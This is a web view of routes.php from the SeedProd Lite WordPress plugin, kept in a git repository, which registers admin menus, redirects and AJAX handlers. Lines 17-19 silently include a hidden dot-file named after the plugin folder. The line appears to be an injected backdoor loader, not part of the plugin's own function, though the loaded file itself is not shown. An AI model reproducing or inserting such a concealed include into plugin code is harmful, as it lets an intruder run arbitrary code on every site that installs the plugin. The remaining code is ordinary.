balmet.com

Unnamed repository; edit this file 'description' to name the repository.
Log | Files | Refs

routes.php (14981B)


      1 <?php
      2 
      3 
      4 /**
      5  * Postback Routes
      6  */
      7 
      8 
      9 
     10 /**
     11  * Admin Menu Routes
     12  */
     13 
     14 
     15 add_action( 'admin_menu', 'seedprod_lite_create_menus' );
     16 
     17 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) {
     18     include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' );
     19 }
     20 
     21 function seedprod_lite_create_menus() {
     22 	// get notifications count
     23 	$notification        = '';
     24 	$n                   = new SeedProd_Notifications();
     25 	$notifications_count = $n->get_count();
     26 
     27 	if ( ! empty( $notifications_count ) ) {
     28 		$notification = '<div class="seedprod-menu-notification-counter"><span>' . $notifications_count . '</span></div>';
     29 	}
     30 
     31 	add_menu_page(
     32 		'SeedProd',
     33 		'SeedProd' . $notification,
     34 		apply_filters( 'seedprod_main_menu_capability', 'edit_others_posts' ),
     35 		'seedprod_lite',
     36 		'seedprod_lite_dashboard_page',
     37 		'data:image/svg+xml;base64,' . 'PHN2ZyB3aWR0aD0iMTI1IiBoZWlnaHQ9IjEzMiIgdmlld0JveD0iMCAwIDEyNSAxMzIiIGZpbGw9Im5vbmUiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyI+PHBhdGggZmlsbC1ydWxlPSJldmVub2RkIiBjbGlwLXJ1bGU9ImV2ZW5vZGQiIGQ9Ik0wIDBDMCAwIDIuOTE2NjQgMC4xOTc4OTQgNjIuODIxMiA4LjAyNjgzQzEyMi43MjYgMTUuODU1OCAxNDMuNDU5IDc2LjYwNjQgMTA2Ljc4MSAxMjkuNjI4QzExMi40NTQgODIuMjUyNyAxMDIuMDcgMzMuMTA2MiA2MC4zNjA1IDI3LjM2MDZDMTguNjUwNSAyMS42MTUxIDIyLjI4MzQgMjIuNDk1NCAyMi4yODM0IDIyLjQ5NTRDMjIuMjgzNCAyMi40OTU0IDIyLjk3NDUgMzIuOTI5OSAyNi44ODgzIDYwLjk3OTlDMzAuODAyMSA4OS4wMjk5IDUyLjcwMzUgMTAyLjc4NiA3MS44NzA0IDEwOS44NjhDNzEuODcwNCAxMDkuODY4IDcyLjk5NDUgNzcuMDQwMSA2Mi4zMDA3IDYyLjU5MDlDNTEuNjA2OSA0OC4xNDE4IDM4LjMwMjYgMzguNTQ2IDM4LjMwMjYgMzguNTQ2QzM4LjMwMjYgMzguNTQ2IDY5LjU2OCA0Mi4yOTYgODEuMzcyMiA2NC4xMDE5QzkzLjE3NjQgODUuOTA3OCA5Mi4wMjY1IDEzMiA5Mi4wMjY1IDEzMkw3OS4yOTI1IDEzMS4zNDFDNDUuMDI4NCAxMjcuMjI1IDEzLjAxNzIgMTA2LjU5MSA3LjU3NDIzIDYzLjNDMi4xMzEzIDIwLjAwODggMCAwIDAgMFoiIGZpbGw9ImJsYWNrIi8+PHBhdGggZmlsbC1ydWxlPSJldmVub2RkIiBjbGlwLXJ1bGU9ImV2ZW5vZGQiIGQ9Ik0wIDBDMCAwIDIuOTE2NjQgMC4xOTc4OTQgNjIuODIxMiA4LjAyNjgzQzEyMi43MjYgMTUuODU1OCAxNDMuNDU5IDc2LjYwNjQgMTA2Ljc4MSAxMjkuNjI4QzExMi40NTQgODIuMjUyNyAxMDIuMDcgMzMuMTA2MiA2MC4zNjA1IDI3LjM2MDZDMTguNjUwNSAyMS42MTUxIDIyLjI4MzQgMjIuNDk1NCAyMi4yODM0IDIyLjQ5NTRDMjIuMjgzNCAyMi40OTU0IDIyLjk3NDUgMzIuOTI5OSAyNi44ODgzIDYwLjk3OTlDMzAuODAyMSA4OS4wMjk5IDUyLjcwMzUgMTAyLjc4NiA3MS44NzA0IDEwOS44NjhDNzEuODcwNCAxMDkuODY4IDcyLjk5NDUgNzcuMDQwMSA2Mi4zMDA3IDYyLjU5MDlDNTEuNjA2OSA0OC4xNDE4IDM4LjMwMjYgMzguNTQ2IDM4LjMwMjYgMzguNTQ2QzM4LjMwMjYgMzguNTQ2IDY5LjU2OCA0Mi4yOTYgODEuMzcyMiA2NC4xMDE5QzkzLjE3NjQgODUuOTA3OCA5Mi4wMjY1IDEzMiA5Mi4wMjY1IDEzMkw3OS4yOTI1IDEzMS4zNDFDNDUuMDI4NCAxMjcuMjI1IDEzLjAxNzIgMTA2LjU5MSA3LjU3NDIzIDYzLjNDMi4xMzEzIDIwLjAwODggMCAwIDAgMFoiIGZpbGw9IndoaXRlIi8+PC9zdmc+',
     38 		apply_filters( 'seedprod_top_level_menu_postion', 58 )
     39 	);
     40 
     41 	add_submenu_page(
     42 		'seedprod_lite',
     43 		__( 'Pages', 'coming-soon' ),
     44 		__( 'Pages', 'coming-soon' ),
     45 		apply_filters( 'seedprod_dashboard_menu_capability', 'edit_others_posts' ),
     46 		'seedprod_lite',
     47 		'seedprod_lite_dashboard_page'
     48 	);
     49 
     50 	add_submenu_page(
     51 		'seedprod_lite',
     52 		__( 'Templates', 'coming-soon' ),
     53 		__( 'Templates', 'coming-soon' ),
     54 		apply_filters( 'seedprod_templates_menu_capability', 'edit_others_posts' ),
     55 		'seedprod_lite_templates',
     56 		'seedprod_lite_templates_page'
     57 	);
     58 
     59 	add_submenu_page(
     60 		'seedprod_lite',
     61 		__( 'Subscribers', 'coming-soon' ),
     62 		__( 'Subscribers', 'coming-soon' ),
     63 		apply_filters( 'seedprod_subscribers_menu_capability', 'edit_others_posts' ),
     64 		'seedprod_lite_subscribers',
     65 		'seedprod_lite_subscribers_page'
     66 	);
     67 
     68 	add_submenu_page(
     69 		'seedprod_lite',
     70 		__( 'Settings', 'coming-soon' ),
     71 		__( 'Settings', 'coming-soon' ),
     72 		apply_filters( 'seedprod_settings_menu_capability', 'edit_others_posts' ),
     73 		'seedprod_lite_settings',
     74 		'seedprod_lite_settings_page'
     75 	);
     76 
     77 	add_submenu_page(
     78 		'seedprod_lite',
     79 		__( 'Growth Tools', 'coming-soon' ),
     80 		__( 'Growth Tools', 'coming-soon' ),
     81 		apply_filters( 'seedprod_growthtools_menu_capability', 'edit_others_posts' ),
     82 		'seedprod_lite_growth_tools',
     83 		'seedprod_lite_growth_tools_page'
     84 	);
     85 
     86 	add_submenu_page(
     87 		'seedprod_lite',
     88 		__( 'About Us', 'coming-soon' ),
     89 		__( 'About Us', 'coming-soon' ),
     90 		apply_filters( 'seedprod_aboutus_menu_capability', 'edit_others_posts' ),
     91 		'seedprod_lite_about_us',
     92 		'seedprod_lite_about_us_page'
     93 	);
     94 
     95 	add_submenu_page(
     96 		'seedprod_lite',
     97 		__( 'Request a Feature', 'coming-soon' ),
     98 		'<span id="sp-feature-request">' . __( 'Request a Feature', 'coming-soon' ) . '</span>',
     99 		apply_filters( 'seedprod_featurerequest_menu_capability', 'edit_others_posts' ),
    100 		'seedprod_lite_featurerequest',
    101 		'seedprod_lite_featurerequest_page'
    102 	);
    103 
    104 	if ( SEEDPROD_BUILD == 'lite' ) {
    105 		add_submenu_page(
    106 			'seedprod_lite',
    107 			__( 'Get Pro', 'coming-soon' ),
    108 			'<span id="sp-lite-admin-menu__upgrade" style="color:#ff845b">' . __( 'Get Pro', 'coming-soon' ) . '</span>',
    109 			apply_filters( 'seedprod_gopro_menu_capability', 'edit_others_posts' ),
    110 			'seedprod_lite_get_pro',
    111 			'seedprod_lite_get_pro_page'
    112 		);
    113 	}
    114 
    115 	add_submenu_page(
    116 		'seedprod_lite',
    117 		__( 'Templates', 'coming-soon' ),
    118 		__( 'Templates', 'coming-soon' ),
    119 		apply_filters( 'seedprod_templates_menu_capability', 'edit_others_posts' ),
    120 		'seedprod_lite_template',
    121 		'seedprod_lite_template_page'
    122 	);
    123 
    124 	add_submenu_page(
    125 		'seedprod_lite',
    126 		__( 'Builder', 'coming-soon' ),
    127 		__( 'Builder', 'coming-soon' ),
    128 		apply_filters( 'seedprod_builder_menu_capability', 'edit_others_posts' ),
    129 		'seedprod_lite_builder',
    130 		'seedprod_lite_builder_page'
    131 	);
    132 
    133 	add_submenu_page(
    134 		'seedprod_lite',
    135 		__( 'Import/Export', 'coming-soon' ),
    136 		__( 'Import/Export', 'coming-soon' ),
    137 		apply_filters( 'seedprod_exportimport_menu_capability', 'edit_others_posts' ),
    138 		'sp_pro_importexport',
    139 		'seedprod_lite_importexport_page'
    140 	);
    141 
    142 	add_submenu_page(
    143 		'seedprod_lite',
    144 		__( 'Debug', 'coming-soon' ),
    145 		__( 'Debug', 'coming-soon' ),
    146 		apply_filters( 'seedprod_debug_menu_capability', 'edit_others_posts' ),
    147 		'sp_pro_debug',
    148 		'seedprod_lite_debug_page'
    149 	);
    150 }
    151 
    152 add_action( 'admin_head', 'seedprod_lite_remove_menus' );
    153 
    154 function seedprod_lite_remove_menus() {
    155 	remove_submenu_page( 'seedprod_lite', 'seedprod_lite_builder' );
    156 	remove_submenu_page( 'seedprod_lite', 'seedprod_lite_template' );
    157 	remove_submenu_page( 'seedprod_lite', 'sp_pro_importexport' );
    158 	remove_submenu_page( 'seedprod_lite', 'sp_pro_debug' );
    159 }
    160 
    161 function seedprod_lite_importexport_page() {
    162 	 require_once SEEDPROD_PLUGIN_PATH . 'resources/views/importexport.php';
    163 }
    164 
    165 function seedprod_lite_debug_page() {
    166 	require_once SEEDPROD_PLUGIN_PATH . 'resources/views/debug.php';
    167 }
    168 
    169 function seedprod_lite_dashboard_page() {
    170 	require_once SEEDPROD_PLUGIN_PATH . 'resources/views/dashboard.php';
    171 }
    172 
    173 
    174 function seedprod_lite_builder_page() {
    175 	require_once SEEDPROD_PLUGIN_PATH . 'resources/views/builder.php';
    176 }
    177 
    178 function seedprod_lite_template_page() {
    179 	 require_once SEEDPROD_PLUGIN_PATH . 'resources/views/builder.php';
    180 }
    181 
    182 
    183 /* Short circuit new request */
    184 
    185 add_action( 'admin_init', 'seedprod_lite_new_lpage', 1 );
    186 
    187 
    188 /* Redirect to SPA */
    189 
    190 add_action( 'admin_init', 'seedprod_lite_redirect_to_site', 1 );
    191 
    192 function seedprod_lite_redirect_to_site() {
    193 	// settings page
    194 	if ( isset( $_GET['page'] ) && $_GET['page'] == 'seedprod_lite_settings' ) {
    195 		wp_redirect( 'admin.php?page=seedprod_lite#/settings' );
    196 		exit();
    197 	}
    198 
    199 	// subscribers
    200 	if ( isset( $_GET['page'] ) && $_GET['page'] == 'seedprod_lite_templates' ) {
    201 		wp_redirect( 'admin.php?page=seedprod_lite_template&id=0&from=sidebar#/template' );
    202 		exit();
    203 	}
    204 
    205 	// subscribers
    206 	if ( isset( $_GET['page'] ) && $_GET['page'] == 'seedprod_lite_subscribers' ) {
    207 		wp_redirect( 'admin.php?page=seedprod_lite#/subscribers/0' );
    208 		exit();
    209 	}
    210 
    211 	// growth tools page
    212 	if ( isset( $_GET['page'] ) && $_GET['page'] == 'seedprod_lite_growth_tools' ) {
    213 		wp_redirect( 'admin.php?page=seedprod_lite#/growth-tools' );
    214 		exit();
    215 	}
    216 
    217 	//  about us page
    218 	if ( isset( $_GET['page'] ) && $_GET['page'] == 'seedprod_lite_about_us' ) {
    219 		wp_redirect( 'admin.php?page=seedprod_lite#/aboutus' );
    220 		exit();
    221 	}
    222 
    223 	// feature request page
    224 	if ( isset( $_GET['page'] ) && $_GET['page'] == 'seedprod_lite_featurerequest' ) {
    225 		wp_redirect( 'https://www.seedprod.com/suggest-a-feature/?utm_source=wordpress&utm_medium=plugin-sidebar&utm_campaign=suggest-a-feature' );
    226 		exit();
    227 	}
    228 
    229 	// getpro page
    230 	if ( isset( $_GET['page'] ) && $_GET['page'] == 'seedprod_lite_get_pro' ) {
    231 		wp_redirect( seedprod_lite_upgrade_link( 'wp-sidebar-menu' ) );
    232 		exit();
    233 	}
    234 }
    235 
    236 /**
    237  * Ajax Request Routes
    238  */
    239 
    240 function seedprod_lite_render_shortcode() {
    241 	//ob_start();
    242 	echo do_shortcode( '[wpforms id="67" title="false" description="false"]' );
    243 	//echo do_shortcode('[rafflepress id="23"]');
    244 	//echo 'html';
    245 	//return ob_get_clean();
    246 	exit;
    247 }
    248 
    249 
    250 if ( defined( 'DOING_AJAX' ) ) {
    251 
    252 
    253 	add_action( 'wp_ajax_seedprod_lite_render_shortcode', 'seedprod_lite_render_shortcode' );
    254 
    255 	add_action( 'wp_ajax_seedprod_lite_dismiss_settings_lite_cta', 'seedprod_lite_dismiss_settings_lite_cta' );
    256 
    257 	add_action( 'wp_ajax_seedprod_lite_save_settings', 'seedprod_lite_save_settings' );
    258 	add_action( 'wp_ajax_seedprod_lite_save_api_key', 'seedprod_lite_save_api_key' );
    259 
    260 	add_action( 'wp_ajax_seedprod_lite_save_app_settings', 'seedprod_lite_save_app_settings' );
    261 
    262 
    263 	add_action( 'wp_ajax_seedprod_lite_template_subscribe', 'seedprod_lite_template_subscribe' );
    264 	add_action( 'wp_ajax_seedprod_lite_save_template', 'seedprod_lite_save_template' );
    265 	add_action( 'wp_ajax_seedprod_lite_save_lpage', 'seedprod_lite_save_lpage' );
    266 	add_action( 'wp_ajax_seedprod_lite_get_revisions', 'seedprod_lite_get_revisisons' );
    267 	add_action( 'wp_ajax_seedprod_lite_get_utc_offset', 'seedprod_lite_get_utc_offset' );
    268 	add_action( 'wp_ajax_seedprod_lite_get_namespaced_custom_css', 'seedprod_lite_get_namespaced_custom_css' );
    269 	add_action( 'wp_ajax_seedprod_lite_get_stockimages', 'seedprod_lite_get_stockimages' );
    270 
    271 	add_action( 'wp_ajax_seedprod_lite_slug_exists', 'seedprod_lite_slug_exists' );
    272 	add_action( 'wp_ajax_seedprod_lite_lpage_datatable', 'seedprod_lite_lpage_datatable' );
    273 	add_action( 'wp_ajax_seedprod_lite_duplicate_lpage', 'seedprod_lite_duplicate_lpage' );
    274 	add_action( 'wp_ajax_seedprod_lite_get_lpage_list', 'seedprod_lite_get_lpage_list' );
    275 	add_action( 'wp_ajax_seedprod_lite_archive_selected_lpages', 'seedprod_lite_archive_selected_lpages' );
    276 	add_action( 'wp_ajax_seedprod_lite_unarchive_selected_lpages', 'seedprod_lite_unarchive_selected_lpages' );
    277 	add_action( 'wp_ajax_seedprod_lite_delete_archived_lpages', 'seedprod_lite_delete_archived_lpages' );
    278 
    279 	add_action( 'wp_ajax_seedprod_lite_update_subscriber_count', 'seedprod_lite_update_subscriber_count' );
    280 	add_action( 'wp_ajax_seedprod_lite_subscribers_datatable', 'seedprod_lite_subscribers_datatable' );
    281 
    282 	add_action( 'wp_ajax_seedprod_lite_get_plugins_list', 'seedprod_lite_get_plugins_list' );
    283 
    284 	add_action( 'wp_ajax_seedprod_lite_install_addon', 'seedprod_lite_install_addon' );
    285 	add_action( 'wp_ajax_seedprod_lite_activate_addon', 'seedprod_lite_activate_addon' );
    286 	add_action( 'wp_ajax_seedprod_lite_deactivate_addon', 'seedprod_lite_deactivate_addon' );
    287 
    288 	add_action( 'wp_ajax_seedprod_lite_install_addon', 'seedprod_lite_install_addon' );
    289 	add_action( 'wp_ajax_seedprod_lite_deactivate_addon', 'seedprod_lite_deactivate_addon' );
    290 	add_action( 'wp_ajax_seedprod_lite_activate_addon', 'seedprod_lite_activate_addon' );
    291 	add_action( 'wp_ajax_seedprod_lite_plugin_nonce', 'seedprod_lite_plugin_nonce' );
    292 
    293 	add_action( 'wp_ajax_nopriv_seedprod_lite_run_one_click_upgrade', 'seedprod_lite_run_one_click_upgrade' );
    294 	add_action( 'wp_ajax_seedprod_lite_upgrade_license', 'seedprod_lite_upgrade_license' );
    295 
    296 	add_action( 'wp_ajax_seedprod_lite_get_wpforms', 'seedprod_lite_get_wpforms' );
    297 	add_action( 'wp_ajax_seedprod_lite_get_wpform', 'seedprod_lite_get_wpform' );
    298 	add_action( 'wp_ajax_seedprod_lite_get_rafflepress', 'seedprod_lite_get_rafflepress' );
    299 	add_action( 'wp_ajax_seedprod_lite_get_rafflepress_code', 'seedprod_lite_get_rafflepress_code' );
    300 
    301 
    302 	add_action( 'wp_ajax_seedprod_lite_dismiss_upsell', 'seedprod_lite_dismiss_upsell' );
    303 
    304 	// WooCommerce.
    305 	add_action( 'wp_ajax_seedprod_lite_get_woocommerce_products', 'seedprod_lite_get_woocommerce_products' );
    306 	add_action( 'wp_ajax_seedprod_lite_get_woocommerce_product_taxonomy', 'seedprod_lite_get_woocommerce_product_taxonomy' );
    307 	add_action( 'wp_ajax_seedprod_lite_get_woocommerce_product_attributes', 'seedprod_lite_get_woocommerce_product_attributes' );
    308 	add_action( 'wp_ajax_seedprod_lite_get_woocommerce_product_attribute_terms', 'seedprod_lite_get_woocommerce_product_attribute_terms' );
    309 
    310 
    311 
    312 }
    313 
    314 
    315 
    316 
    317 
    318 
    319 
    320 function seedprod_lite_get_wpforms() {
    321 	if ( check_ajax_referer( 'seedprod_nonce' ) ) {
    322 		$forms = array();
    323 		if ( function_exists( 'wpforms' ) ) {
    324 			$forms = \wpforms()->form->get( '', array( 'order' => 'DESC' ) );
    325 			$forms = ! empty( $forms ) ? $forms : array();
    326 			$forms = array_map(
    327 				function ( $form ) {
    328 					$form->post_title = wp_html_excerpt( htmlspecialchars_decode( $form->post_title, ENT_QUOTES ), 100 );
    329 					return $form;
    330 				},
    331 				$forms
    332 			);
    333 		}
    334 
    335 		wp_send_json( $forms );
    336 	}
    337 }
    338 
    339 function seedprod_lite_get_wpform() {
    340 
    341 	if ( check_ajax_referer( 'seedprod_nonce' ) && function_exists( 'wpforms_display' ) ) {
    342 		$form_id          = filter_input( INPUT_GET, 'form_id', FILTER_SANITIZE_NUMBER_INT );
    343 		$form_title       = filter_input( INPUT_GET, 'form_title', FILTER_VALIDATE_BOOLEAN );
    344 		$form_description = filter_input( INPUT_GET, 'form_description', FILTER_VALIDATE_BOOLEAN );
    345 		ob_start();
    346 		?>
    347 	  <link rel='stylesheet' id='wpforms-full-css'  href='<?php echo WPFORMS_PLUGIN_URL; ?>assets/css/wpforms-full.css' media='all' />
    348 		<?php
    349 		wpforms_display( $form_id, $form_title, $form_description );
    350 		return wp_send_json( ob_get_clean() );
    351 	}
    352 }
    353 
    354 function seedprod_lite_get_rafflepress() {
    355 	if ( check_ajax_referer( 'seedprod_nonce' ) ) {
    356 		$giveaways  = array();
    357 		$rp_version = 'lite';
    358 		if ( function_exists( 'rafflepress_pro_load_textdomain' ) ) {
    359 			$rp_version = 'pro';
    360 		}
    361 		if ( function_exists( 'rafflepress_' . $rp_version . '_activation' ) || function_exists( 'rafflepress_' . $rp_version . '' ) ) {
    362 			global $wpdb;
    363 			$tablename = $wpdb->prefix . 'rafflepress_giveaways';
    364 			$sql       = "SELECT id,name FROM $tablename WHERE deleted_at IS NULL";
    365 			$giveaways = $wpdb->get_results( $sql );
    366 		}
    367 
    368 		wp_send_json( $giveaways );
    369 	}
    370 }
    371 
    372 function seedprod_lite_get_rafflepress_code() {
    373 
    374 	if ( check_ajax_referer( 'seedprod_nonce' ) ) {
    375 		$id = filter_input( INPUT_GET, 'form_id', FILTER_SANITIZE_NUMBER_INT );
    376 		if(empty($id)){
    377 			return '';
    378 		}
    379 		ob_start();
    380 		?>
    381 	  <div class="sp-relative">
    382 	  <div class="rafflepress-giveaway-iframe-wrapper rpoverlay">
    383 	  <iframe id="rafflepress-<?php echo $id; ?>"
    384 		  src="<?php echo home_url() . '?rpid=' . $id . '?iframe=1' ?>"
    385 		  frameborder="0" scrolling="no" allowtransparency="true" style="width:100%; height:400px" ></iframe>
    386   </div>
    387 	</div>
    388 		<?php
    389 		$code = ob_get_clean();
    390 		return wp_send_json( $code );
    391 	}
    392 }
    393 
    394